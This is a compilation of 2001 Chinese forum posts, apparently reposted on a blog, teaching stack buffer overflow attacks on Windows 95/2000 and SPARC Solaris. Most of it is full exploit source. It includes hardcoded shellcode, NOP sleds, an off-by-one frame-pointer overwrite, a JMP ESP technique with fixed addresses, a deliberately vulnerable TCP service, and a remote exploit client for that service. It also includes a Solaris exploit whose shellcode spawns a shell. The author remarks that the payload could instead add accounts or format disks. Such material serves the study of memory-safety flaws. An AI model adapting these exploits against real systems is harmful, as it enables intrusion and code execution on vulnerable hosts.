int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR  lpCmdLine,int  nCmdShow)
{

 FILE * f = fopen("datafile2.dat","rb");
 long len;
 if(f == NULL)
 {
  MessageBox(0,"打开文件失败!","WinMain BUG",MB_OK);
  return -1;
 }
 fseek(f,0,SEEK_END);
 len = ftell(f);
 fseek(f,0,SEEK_SET);
 if(len > sizeof(file_buffer))
  len = sizeof(file_buffer);
 if( fread(file_buffer,1,len,f) != len)
 {
  MessageBox(0,"读文件失败!","WinMain BUG",MB_OK);
  fclose(f);
  return -2;
 }
 fclose(f);

 test();
 MessageBox(NULL,"WinMain END ,RETURN!","WinMain",MB_OK);
 return 0;
}


溢出攻击程序For Win2k
/*
Name : ex2.c
Tested: Win2k pro sp1
   by cloud
*/
#include <windows.h>
#include <stdio.h>
unsigned char shellcode[108]= 
{
0xEB ,0x3d ,0x5D ,0x33 ,0xC0 ,0x66 ,0xB8 ,0xE8 ,0x03 ,0x2B ,0xE0 ,0x33 ,0xDB ,0xB3 ,0x0C,
0x4b ,0x4b ,0x33 ,0xC0 ,0x88 ,0x04 ,0x2B ,0x88 ,0x45 ,0x12 ,0x88 ,0x45 ,0x24 ,0x68 ,0x73,
0x72 ,0xE6 ,0x77 ,0x55 ,0xFF ,0x54 ,0x24 ,0x04 ,0x33 ,0xDB ,0x53 ,0x8B ,0xC5 ,0x83 ,0xC0,
0x0B ,0x50 ,0x83 ,0xC0 ,0x08 ,0x50 ,0x53 ,0x68 ,0x2D ,0xF3 ,0xE6 ,0x77 ,0x68 ,0x7E ,0x73,
0xE0 ,0x77 ,0xC3 ,0xE8 ,0xbe ,0xFF ,0xFF ,0xFF,
'u','s','e','r','3','2','.','d','l','l','0',
'M','E','S','S','A','G','E','0',
'F','r','o','m',20,'B','i','n','n','a','r',20,'C','o','d','e','.','0','N','N','N'
};
char buff[500];
int i;
unsigned long * lp;
unsigned char * cp;
unsigned long addr;
#define BUFFER_LEN 256
//unsigned long * p;
DWORD getesp()
{
 __asm mov eax,esp
 __asm add eax,8
}
int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR  lpCmdLine,int  nCmdShow)
{

 FILE * f = fopen("datafile2.dat","wb");
 if(f == NULL)
 {
  MessageBox(0,"打开文件失败!","WinMain Ex",MB_OK);
  return -1;
 }
 addr = getesp();
 addr = addr - 200;
 
 cp = (unsigned char *) buff;
 for(i=0;i<256 - sizeof(shellcode) ;i++,cp ++ )
 {
  *cp = 0x90;
 }
 for(i=0;i<sizeof(shellcode);i++,cp++)
 {
  *cp = shellcode[i];
 }
 lp = (unsigned long *)cp;
 for(i=0;i< 40 ; i++,lp++)
 {
  * lp = addr;
 }
 cp = (char *)lp;
 *cp = '/n';
 *cp = '/0';
 
 if(fwrite(buff,1,sizeof(buff),f) != sizeof(buff))
  MessageBox(0,"写文件失败!","WinMain Ex",MB_OK);
 fclose(f);
 return 0;
}
            -----------
【Visual C++】:windows下越界一个字节也能导致溢出攻击windows下越界一个字节也能导致溢出攻击


             cloud (cloud) 2001-6-27 12:17:25
             开放实验室 (openlab.nwpu.edu.cn) 【Visual C++】专栏

如下test()函数有问题,但我们不能覆盖ret  只能覆盖ebp低字节,我们又能作什么呢??

char buff[1024];
int i;
void test( )
{
   char buffer[128];
    /*  . . . . . . . . . . . . . . . */
   for(i=0; i<129 ; buffer[i]= buff[i++]);
   /*  . . . . . . . . .. . . . . . . */

}
void main()
{
    /* . . .. . . ....*/
    test();
   /* . . . . . . .. . */
}

我们看看main 和 test调用时作了什么:

;test
;{
push ebp
mov  ebp,esp
sub   esp,128        ;为buffer预留空间


 . . . ..

mov esp,ebp
pop  ebp
ret
;}

在main中也如上:

看看  我们改写了ebp的低位后ebp将在main返回前传给esp

如果ebp能指向shellcode地址的低位那么main函数返回时将读入我们的地址作返回

在main返回前

esp = ebp
pop   地址
返回pop出的 地址
                 |shellcode的地址|  ---->|
ebp    ---->|          ??          |          |
                 |                        |          |
                 |    shellcode      | <------

那么在main函数返回时我们的shellcode将被执行.

现在看看test中溢出覆盖ebp低位时如何,ebp也指向栈,当test中和main中栈内偏移不超过 255 字节时
高3位相同,仅修改低位就能指向buffer

比如buffer地址为 0x00463000
那么覆盖后如下
               ----------------------------------------------------------->
                                        ebp
            |ret           | 0x00463000 +128  - 8 |  0x00463000|  ??         |   shellcode     |
len:            4                       4                                  4               4                 120

main 返回时

mov  esp,ebp    ;                                                                                  ^
                                                                                                             |
                                                                                                             esp

pop   ebp;                                                                            ^
                                                                                             |
                                                                                              esp

ret 0;        ok   我们的机器码被执行了!!!!


演示程序:


/*
Name  : Ex_byte.c
Tested: windows95
    by cloud    2001-6-5
*/
#include <windows.h>
#include <stdio.h>
char shellcode[108]= 
{
 0xEB ,0x3d ,0x5D ,0x33 ,0xC0 ,0x66 ,0xb8 ,0xe8 ,0x03 ,0x2b ,0xe0 ,
 0x33 ,0xDB ,0xB3 ,0x0C ,0x4b ,0x4b ,
 0x33 ,0xC0 ,0x88 ,0x04 ,0x2b ,0x88 ,0x45 ,0x12 ,0x88 ,0x45 ,0x24 ,0x68,
 0xF3 ,0x75 ,0xF7 ,0xBF ,0x55 ,0xFF ,0x54 ,0x24 ,0x04 ,0x33 ,0xDB ,0x53,
 0x8B ,0xC5 ,0x83 ,0xC0 ,0x0B ,0x50 ,0x83 ,0xC0 ,0x08 ,0x50 ,0x53 ,0x68,
 0x91 ,0xB1 ,0xF8 ,0xBF ,0x68 ,0xD9 ,0x38 ,0xF6 ,0xBF ,0xC3 ,0xE8 ,0xbe,
 0xFF ,0xFF ,0xFF,
 'u','s','e','r','3','2','.','d','l','l','0',
 'M','E','S','S','A','G','E','0',
 'F','r','o','m',20,'B','i','n','n','a','r',20,'C','o','d','e','.','0','N','N','N'
};
char buff[500];
int i;
unsigned long * lp;
unsigned char * cp;
unsigned long addr;
//unsigned long * p;
DWORD getesp()
{
 __asm mov eax,esp
 __asm add eax,20
}
void test()
{
 char buffer[256];
 addr = getesp();
 addr += 100;

 cp = (char *)buffer;

 for(i=0;i<252 - sizeof(shellcode)  ;i++,cp ++ )
 {
  *cp = 0x90;
 }
 for(i=0;i<sizeof(shellcode);i++,cp++)
 {
  *cp = shellcode[i];
 }
 lp = (unsigned long *)cp;
 * lp = addr;
 lp ++;
 cp = (char *)lp;
 *cp -=20;

}
int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR  lpCmdLine,int  nCmdShow)
{
 test();
}
            -----------
【Visual C++】:另一种溢出方式 JMP ESP另一种溢出方式 JMP ESP


             cloud (cloud) 2001-6-27 11:50:20
             开放实验室 (openlab.nwpu.edu.cn) 【Visual C++】专栏

以上的溢出都是靠猜测buffer地址范围来进行(当然也可以写程序不断猜测)
自己写的程序当然地址很容易确定,但若攻击别人的程序就不大方便了
往往要猜很多此,传统的程序猜测地址同buffer长度相关,同test()中的数据定义相关
,同调用test() 的函数相关 . . . . . 要猜测的范围就比较大!!!!!   一般不易猜中!
当然你用soft_ice跟踪到test( )记录栈情况也是可行.

我们可以用另一种只用猜测buffer长度即可的方法实现溢出后执行我们的机器码!

在操作系统核心如kernell32.dll 等系统调用中有jmpl esp指令 如在win95中0xc1049a17
地址处就有一条这样的指令!!! 打开soft_ice查找一下能查到很多!

那么如果知道buffer长度  buff_len  那么我们在  buff_len+8范围内放入 0xc1049a17
ret就被覆盖了然后在上部放入我们的binnar code,那么test( )返回时机器码将被执行
此时仅需知道buffer长度即可

栈覆盖前

 ---------------------->
|? ? ? ? ?      | ret                  | ebp            |      buffer                                            |


覆盖后

|binnar code|  0xc1049a17 | 0xc1049a1 |  0xc1049a1  . . .. . . . .. .                     |
                          |
                          |
                          ------------->   jmp esp

                    ^
                     |
                     esp

test( )
返回时返回到  0xc1049a1  处  执行了  jmpl esp   而此时esp指向我们的binnar code

如下程序是一个演示 编译参数  cl   ex_jesp.c   /link user32.lib

shellcode  部分机器码 为:  弹出一个消息窗显示 From Binnar Code.   后调用ExitProcess()


/*
Name:   Ex_jesp.c
Tested: Windows95
    by cloud  2001-6-5
*/
#include <windows.h>
#include <stdio.h>
char shellcode[108]= 
{
 0xEB ,0x3d ,0x5D ,0x33 ,0xC0 ,0x66 ,0xb8 ,0xe8 ,0x03 ,0x2b ,0xe0 ,
 0x33 ,0xDB ,0xB3 ,0x0C ,0x4b ,0x4b ,
 0x33 ,0xC0 ,0x88 ,0x04 ,0x2b ,0x88 ,0x45 ,0x12 ,0x88 ,0x45 ,0x24 ,0x68,
 0xF3 ,0x75 ,0xF7 ,0xBF ,0x55 ,0xFF ,0x54 ,0x24 ,0x04 ,0x33 ,0xDB ,0x53,
 0x8B ,0xC5 ,0x83 ,0xC0 ,0x0B ,0x50 ,0x83 ,0xC0 ,0x08 ,0x50 ,0x53 ,0x68,
 0x91 ,0xB1 ,0xF8 ,0xBF ,0x68 ,0xD9 ,0x38 ,0xF6 ,0xBF ,0xC3 ,0xE8 ,0xbe,
 0xFF ,0xFF ,0xFF,
 'u','s','e','r','3','2','.','d','l','l','0',
 'M','E','S','S','A','G','E','0',
 'F','r','o','m',20,'B','i','n','n','a','r',20,'C','o','d','e','.','0','N','N','N'
};
char buff[500];
int i;
unsigned long * lp;
unsigned char * cp;
unsigned long addr;
//unsigned long * p;
void test()
{
 char buffer[256];
 for(i=0;buff[i]!='/n';buffer[i]=buff[i++]);
 MessageBox(0,"Test Return ","Test",0);
}
int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR  lpCmdLine,int  nCmdShow)
{
 unsigned long addr = 0xc1049a17;
 int addr_len = 264; 
 lp = (unsigned long *)buff;
 for(i=0;i<addr_len/4; i++,lp++)
 {
  * lp = addr;
 }
 cp = (char *)lp;

 for(i=0;i<sizeof(buff) - sizeof(shellcode) - addr_len/4 -1 ;i++,cp ++ )
 {
  *cp = 0x90;
 }
 for(i=0;i<sizeof(shellcode);i++,cp++)
 {
  *cp = shellcode[i];
 }
 *cp = '/n';
 
 
 test();
 MessageBox(0,"WinMain Return.","WinMain",0);
 return 0;
}

---------------
【Visual C++】:若将Bug.c中memcpy改为strcpy后的攻击方法若将Bug.c中memcpy改为strcpy后的攻击方法


             cloud (cloud) 2001-6-28 18:51:30
             开放实验室 (openlab.nwpu.edu.cn) 【Visual C++】专栏

简单看起来
memcpy(line_buffer,file_buffer,sizeof(file_buffer))
改为
strcpy(line_buffer,file_buffer)
后攻击程序一样!
但是我们的file_buffer中为:   [ addr][shell code][NOP]
其中shellcode ,NOP 部分都不含/0
但是看看addr,由于栈地址都以00开始,就是说
addr四个字节的高位一定为0
就使得strcpy拷贝到第一个地址的低3位后就不在拷贝,使得我们无法覆盖test()
的返回地址,此时的解决方法就是用前面讲到的jmp esp  法
具体操作就不多罗嗦了!


※编辑: cloud 于 2001-6-28 20:12:49 在 [202.117.82.4] 编辑本文
            -----------
【Visual C++】:改为strcpy后对bug.c的攻击程序改为strcpy后对bug.c的攻击程序


             cloud (cloud) 2001-6-28 20:15:16
             开放实验室 (openlab.nwpu.edu.cn) 【Visual C++】专栏

以下为使用jmp esp 方法的攻击程序
编译方法: cl /ex2.c /link user32.lib

/*
Name : Ex2.c
Tested:Win2k pro sp1
     by cloud 2001-6-28
*/
#include <windows.h>
#include <stdio.h>
unsigned char shellcode[108]= 
{
0xEB ,0x3d ,0x5D ,0x33 ,0xC0 ,0x66 ,0xB8 ,0xE8 ,0x03 ,0x2B ,0xE0 ,0x33 ,0xDB ,0xB3 ,0x0C,
0x4b ,0x4b ,0x33 ,0xC0 ,0x88 ,0x04 ,0x2B ,0x88 ,0x45 ,0x12 ,0x88 ,0x45 ,0x24 ,0x68 ,0x73,
0x72 ,0xE6 ,0x77 ,0x55 ,0xFF ,0x54 ,0x24 ,0x04 ,0x33 ,0xDB ,0x53 ,0x8B ,0xC5 ,0x83 ,0xC0,
0x0B ,0x50 ,0x83 ,0xC0 ,0x08 ,0x50 ,0x53 ,0x68 ,0x2D ,0xF3 ,0xE6 ,0x77 ,0x68 ,0x7E ,0x73,
0xE0 ,0x77 ,0xC3 ,0xE8 ,0xbe ,0xFF ,0xFF ,0xFF,
'u','s','e','r','3','2','.','d','l','l','0',
'M','E','S','S','A','G','E','0',
'F','r','o','m',20,'B','i','n','n','a','r',20,'C','o','d','e','.','0','N','N','N'
};
char buff[500];
int i;
unsigned long * lp;
unsigned char * cp;
unsigned long addr;
#define BUFFER_LEN 256
//unsigned long * p;

int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR  lpCmdLine,int  nCmdShow)
{

 FILE * f = fopen("datafile2.dat","wb");
 if(f == NULL)
 {
  MessageBox(0,"打开文件失败!","WinMain Ex",MB_OK);
  return -1;
 }
 
 addr = 0x77E6898B;   // addr of jmp esp
 lp = (unsigned long *) buff;
 for(i=0; i< (BUFFER_LEN + 8) / 4;i++,lp ++)
  *lp = addr;
 cp = (unsigned char *) lp;
 for(i=0;i< 32 ;i++,cp ++ )
  *cp = 0x90;

 for(i=0;i< sizeof(shellcode);i++,cp++)
  *cp = shellcode[i];
 *cp = '/n';
 *cp = '/0';
 
 if(fwrite(buff,1,sizeof(buff),f) != sizeof(buff))
  MessageBox(0,"写文件失败!","WinMain Ex",MB_OK);
 fclose(f);
 return 0;
}
            -----------
【Visual C++】:如果一个网络服务器程序没有检查边界的话 . . .如果一个网络服务器程序没有检查边界的话 . . .


             cloud (cloud) 2001-6-28 21:56:03
             开放实验室 (openlab.nwpu.edu.cn) 【Visual C++】专栏

例如如下程序
编译参数:   cl bug_service.c /link user32.lib kernel32.lib ws2_32.lib
运行后没有界面在后台运行,可以用任务管理器看到

在didread()
中明显的strcpy()
我们可以通过同样的方法时其运行我们的一段机器码!!!
当然这段机器码干什么就由你定了: 格式化C盘 ?    添加账号?   . . . . .

/*
Named : bug_service.c
Tested : Win2k pro sp1
     by cloud 2001-6-28
*/
#include<winsock2.h>
//#include<stdio.h>
void err_dump(char *p)
{
  printf("%s/n",p);
  exit(-1);

void didread( char * buff)
{
 char self_buffer[256];
 strcpy(self_buffer,buff);
 MessageBoxA(0,self_buffer,"",0);
}
int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR  lpCmdLine,int  nCmdShow)
{
 char buffer[512];
 WORD wVersionRequested;
 WSADATA wsaData;
 struct sockaddr_in cli_addr,serv_addr;
 int sockfd,newsockfd,clilen,childpid;
 int err;

 wVersionRequested = MAKEWORD( 2, 2 );
  err = WSAStartup( wVersionRequested, &wsaData );
 if ( err != 0 )
 {
  err_dump("ws2_32.dll not find!/n");
  return -1;
 }
 
 if ( LOBYTE( wsaData.wVersion ) != 2 ||   HIBYTE( wsaData.wVersion ) != 2 )
 {
  WSACleanup( );
  err_dump("little than 2.2 !/n");
  return -2;
 }
 
 

 
 if( (sockfd=socket(AF_INET,SOCK_STREAM,0))<0)
  err_dump("serber:can't open stream socket/n");
   
 serv_addr.sin_family=AF_INET;
 serv_addr.sin_addr.s_addr=htonl(INADDR_ANY);
 serv_addr.sin_port=htons(5000);
 
 if(bind(sockfd,(struct sockaddr *)&serv_addr,sizeof(serv_addr))<0)
  err_dump("server: can't bind local address/n");
   
 listen(sockfd,5);
 for(;;)
 {
  clilen=sizeof(cli_addr);
  newsockfd=accept(sockfd,(struct sockaddr *)&cli_addr,&clilen);
  if(newsockfd == INVALID_SOCKET )
   err_dump("server:accept error/n");
  MessageBoxA(0,"accepted!","",0);
  //write(newsockfd,"hello!/n",7);
  buffer[0]='4';
  if( recv(newsockfd,buffer,512,0) ==SOCKET_ERROR )
  {
   err = WSAGetLastError();
   sprintf(buffer, "Recv Err : %i",err);
   MessageBoxA(0,buffer,"",0);
   

  }
  if(buffer[0] == 'x')
   break;
  didread(buffer);
  close(newsockfd);
 }

 MessageBoxA(0,"Main Return!","",0);
 WSACleanup();
 return 0;
}
            -----------
【Visual C++】:攻击上一个bug_service.c的攻击程序攻击上一个bug_service.c的攻击程序


             cloud (cloud) 2001-6-28 22:05:30
             开放实验室 (openlab.nwpu.edu.cn) 【Visual C++】专栏

以下为攻击上一个程序的演示程序
攻击成功时我们发送到服务器上的shellcode段机器码将被执行
执行结果是弹出一个消息筐 From Binnar Code.

当然你也可以改为添加账号,  格式化硬盘等等,(不过我不建议大家干坏事!)
由此可见编程时的一个不细心将代来多大的危害.
别以为黑客进入你的主机不可能,或是在那儿猜口令作无用功
其实系统很多网络相关的软件都有边界未检查的编程漏洞,
只要抓住此漏洞很容易就进入你的系统!!
比如前些时候的IIS5 在Win2000上的处理.pri..   时就有这样的问题!!

/*
Name:   ex_serv.c
Tested: Win2k pro sp1
    by cloud 2001-6-28
*/
#include<windows.h>
//#include<winsock2.h>
#include"client.h"
#define BUFFER_LEN 256
char buffer[512];

void makebuff()
{
 unsigned char shellcode[108]= 
 {
 
 0xEB ,0x3d ,0x5D ,0x33 ,0xC0 ,0x66 ,0xB8 ,0xE8 ,0x03 ,0x2B ,0xE0 ,0x33 ,0xDB ,0xB3 ,0x0C,
 
 0x4b ,0x4b ,0x33 ,0xC0 ,0x88 ,0x04 ,0x2B ,0x88 ,0x45 ,0x12 ,0x88 ,0x45 ,0x24 ,0x68 ,0x73,
 
 0x72 ,0xE6 ,0x77 ,0x55 ,0xFF ,0x54 ,0x24 ,0x04 ,0x33 ,0xDB ,0x53 ,0x8B ,0xC5 ,0x83 ,0xC0,
 
 0x0B ,0x50 ,0x83 ,0xC0 ,0x08 ,0x50 ,0x53 ,0x68 ,0x2D ,0xF3 ,0xE6 ,0x77 ,0x68 ,0x7E ,0x73,
  0xE0 ,0x77 ,0xC3 ,0xE8 ,0xbe ,0xFF ,0xFF ,0xFF,
  'u','s','e','r','3','2','.','d','l','l','0',
  'M','E','S','S','A','G','E','0',
  'F','r','o','m',20,'B','i','n','n','a','r',20,'C','o','d','e','.','0','N','N','N'
 };
 int i;
 unsigned long * lp;
 unsigned char * cp;
 unsigned long addr;
 addr = 0x77E6898B;   // addr of jmp esp
 lp = (unsigned long *) buffer;
 for(i=0; i< (BUFFER_LEN + 8) / 4;i++,lp ++)
  *lp = addr;
 cp = (unsigned char *) lp;
 for(i=0;i< 32 ;i++,cp ++ )
  *cp = 0x90;

 for(i=0;i< sizeof(shellcode);i++,cp++)
  *cp = shellcode[i];
 *cp = '/n';
 *cp = '/0';
}

int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR  lpCmdLine,int  nCmdShow)
{
 WORD wVersionRequested;
 WSADATA wsaData;
 int s,err;

 wVersionRequested = MAKEWORD( 2, 2 );
  err = WSAStartup( wVersionRequested, &wsaData );
 if ( err != 0 )
 {
  printf("ws2_32.dll not find!/n");
  return -1;
 }
 
 if ( LOBYTE( wsaData.wVersion ) != 2 ||   HIBYTE( wsaData.wVersion ) != 2 )
 {
  WSACleanup( );
  printf("little than 2.2 !/n");
  return -2;
 }
 
 s = connectTCP("localhost","5000");
 if(s == 0)
 {
  MessageBoxA(0,"connect failt","",0);
  return -1;
 }
 makebuff();
 if( send(s,buffer,sizeof(buffer),0) == SOCKET_ERROR )
  MessageBoxA(0,"send Err!","",0);
  
 Sleep(3000);
 MessageBoxA(0,"send ok!","",0);
 WSACleanup();
 return 0;
}

//End ex_serv.c

------------------------------------------------------------ client.h ----------------------------------------------
//begin client.h

#ifndef  INADDR_NONE
#define  INADDR_NONE 0xffffffff
#endif

extern int errno;
int errexit(const char *format,...)
{
   va_list args;
  
   va_start(args,format);
   vfprintf(3,format,args);
   va_end(args);
   exit(1);
}  

int connectsock(const char *host,const char *service,const char *transport)
{
  struct hostent    *phe;
  struct servent    *pse;
  struct protoent   *ppe;
  struct sockaddr_in sin;
  int s,type;
 
  memset(&sin,0,sizeof(sin));
  sin.sin_family=AF_INET;
 
  if(pse=getservbyname(service,transport))
        sin.sin_port=pse->s_port;
  else if( (sin.sin_port=htons((u_short)atoi(service))) == 0)
        errexit("can't get /"%s/" service entry /n",service);
 
  if(phe = gethostbyname (host))
        memcpy(&sin.sin_addr,phe->h_addr,phe->h_length);
  else if( (sin.sin_addr.s_addr = inet_addr(host) )==INADDR_NONE)
    errexit("can't get /"%s/" host entry/n",host);
 
  if( (ppe=getprotobyname(transport))==0)
   errexit("can't get /"%s/" protoco entry /n",transport);
 
  if(strcmp(transport,"udp")==0)
     type = SOCK_DGRAM;
  else
   type = SOCK_STREAM;
 
  s=socket(PF_INET,type,ppe->p_proto);
  if(s<0)
   errexit("can't create socket :%s/n",strerror(errno) );
 
  if(connect(s,(struct sockaddr *)&sin,sizeof(sin))<0)
   errexit("can't connect to %s.%s:%s/n",host,service,strerror(errno));
  return s;
 
}

int connectTCP(const char *host,const char *service)
{
  return connectsock(host,service,"tcp");
}                                 

int connectUDP(const char *host,const char *service)
{
  return connectsock(host,service,"udp");
}                                 
//End client.h
            -----------
【Visual C++】:在Solaris For Spac芯片上的溢出在Solaris For Spac芯片上的溢出


             cloud (cloud) 2001-6-27 12:29:11
             开放实验室 (openlab.nwpu.edu.cn) 【Visual C++】专栏

在Unix平台溢出问题也是差不多,以前我写过一个Solaris下的攻击程序
如下:  可以参见我的个人站点   iceinsun.yeah.net
有bug的程序:

/*
  sr.c  for sparc solaris
tested on solaris2.6    by cloud 1999-5-16
*/
#include<string.h>
#include<stdio.h>
#include<unistd.h>
void ill(char *);
void ill_jump(char *);
int i;

u_long get_sp()
{
  __asm__("mov %sp,%i0 /n");
}

main(int argc ,char * argv[])
{
    printf("static main  -->%p/n",get_sp());
    if(argc>1)
    {
   ill_jump(argv[1]);
    }
    printf("Over !/n");
}
void ill_jump(char *str)
{
  printf("static sub 1  -->%p/n",get_sp());
  printf("strlen=%d /n",strlen(str));
  printf("/n");
  ill(str);
}
void ill(char *str)
{
   u_char buff[8];
   printf("static sub 2  -->%p buff addr %p/n",get_sp(),buff);
   strcpy(buff,str);
}
 


溢出攻击程序如下:

/*
     ex.c    exploit sr.c    to get shell
    tested on solaris 2.6  for sparc     by cloud 1999-5-16
*/
#include<stdio.h>
#include<unistd.h>

u_char shell_code[]=
"/x82/x10/x20/x17/x91/xd0/x20/x08"
"/x82/x10/x20/xca/xa6/x1c/xc0/x13/x90/x0c/xc0/x13/x92/x0c/xc0/x13"
"/xa6/x04/xe0/x01/x91/xd4/xff/xff/x2d/x0b/xd8/x9a/xac/x15/xa1/x6e"
"/x2f/x0b/xdc/xda/x90/x0b/x80/x0e/x92/x03/xa0/x08/x94/x1a/x80/x0a"
"/x9c/x03/xa0/x10/xec/x3b/xbf/xf0/xdc/x23/xbf/xf8/xc0/x23/xbf/xfc"
"/x82/x10/x20/x3b/x91/xd4/xff/xff";

#define ADDR_LEN 88
#define NOP_LEN  100
#define CODE_LEN 100
#define SPARC_NOP  0xa61cc013

u_long *return_addr,tmp_nop;
u_char *real_code,*nop_code;
int i,ALL_LEN=ADDR_LEN+NOP_LEN+CODE_LEN;
char buff[ADDR_LEN+NOP_LEN+CODE_LEN+1];

u_long get_sp()
{
  __asm__("mov %sp,%i0/n");
}

main()
{
  printf("Me stack -->0x%p expect stack-->0x%p/n",get_sp(),get_sp()-ALL_LEN);
  buff[ADDR_LEN+NOP_LEN+CODE_LEN]='/0';
  memset(buff,'A',ALL_LEN);
  return_addr=(u_long *)buff;
  for(i=0;i<ADDR_LEN/4;i++)
    *return_addr++=get_sp()-ALL_LEN +216;

  return_addr++;
  return_addr++;

  nop_code=(u_char *)return_addr;
  for(i=0;i<NOP_LEN;i+=4)
  {
    tmp_nop=SPARC_NOP; *nop_code++=(tmp_nop >> 24) & 0xff;
    tmp_nop=SPARC_NOP; *nop_code++=(tmp_nop >> 16) & 0xff;
    tmp_nop=SPARC_NOP; *nop_code++=(tmp_nop >> 8 ) & 0xff;
    tmp_nop=SPARC_NOP; *nop_code++= tmp_nop        & 0xff;
  }

  real_code=nop_code;
 
/*  for(i=0;i<NOP_LEN+CODE_LEN;i+=4)
    *return_addr++=SPARC_NOP;

  real_code=(u_char *)return_addr;
*/  

  for(i=0;i<strlen(shell_code);i++)
    *real_code++=shell_code[i];

  execl("./sr","sr",buff,0);
}
-----------------
【Visual C++】:Solaris For Spac上的栈情况Solaris For Spac上的栈情况


             cloud (cloud) 2001-6-27 19:28:40
             开放实验室 (openlab.nwpu.edu.cn) 【Visual C++】专栏

看看此程序运行中的堆栈情况如后面所示
从中可以看到给func分配buff是在压入func返回地址之前
所以我们不能覆盖func的返回地址,但我们可以覆盖main的返回地址
所以覆盖后当main返回时才转到我们的二进制代码中来,这点同windows下
的溢出有很大区别

#include<stdio.h>
func ( char * str )
{
    char buff[8];
   strcpy(buff, . . .);
}
void main (  )
{
        func( argv[1] );
}

堆栈低址

       ___________ ___________
%sp       | %l0-%l7      | 8*4    保存func()的%l0-%l7寄存器
              |__________|
%sp+32 | %i0-%i7     | 8*4    保存func()的%i0-%i7寄存器 (%i7包含func()的返回地址)
              |__________|
%sp+64 |返回值地址| 1*4    为下一个被调函数保留的返回值地址空间
              |__________|
%sp+68 | 参数地址     | 6*4    为下一个被调函数保留(前6个)参数的空间
              |__________|
%sp+92 | 参数地址     | n*4    n>=1 如果下一个被调函数的参数>6,多出的参数在这里分配
              |__________|
              |局部变量      | n*8    为func()的局部变量分配空间,每8个字节为一个分配单元
              |__________|
              | 临时区域     | 4*4    C编译器用来计算表达式时储存一些临时变量的区域
              |__________|___________ %fp ( main() )
%fp        | %l0-%l7  | 8*4    保存main()的%l0-%l7寄存器
              |__________|
%fp+32 | %i0-%i7      | 8*4    保存main()的%i0-%i7寄存器(%i7包含main()的返回地址)
              |__________|
%fp+64 |返回值地址  | 1*4    为下一个被调函数(这里是func())保留的返回值地址空间
              |__________|
%fp+68 | 参数地址     | 6*4    为下一个被调函数(这里是func())保留前6个参数的地址空间
              |__________|
%fp+92 | 参数地址     | n*4    n>=1 如果下一个被调函数的参数>6,多出的参数在这里分配
              |__________|
              |局部变量      |
              |  ....              | n*8    为main()的局部变量分配空间,每8个字节为一个单元
              |__________|
              | 保留区域     | 4*4    4个字的保留区域
              |__________|
              | %l0-%l7      |
              |__________|
       

堆栈高址

            -----------


 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值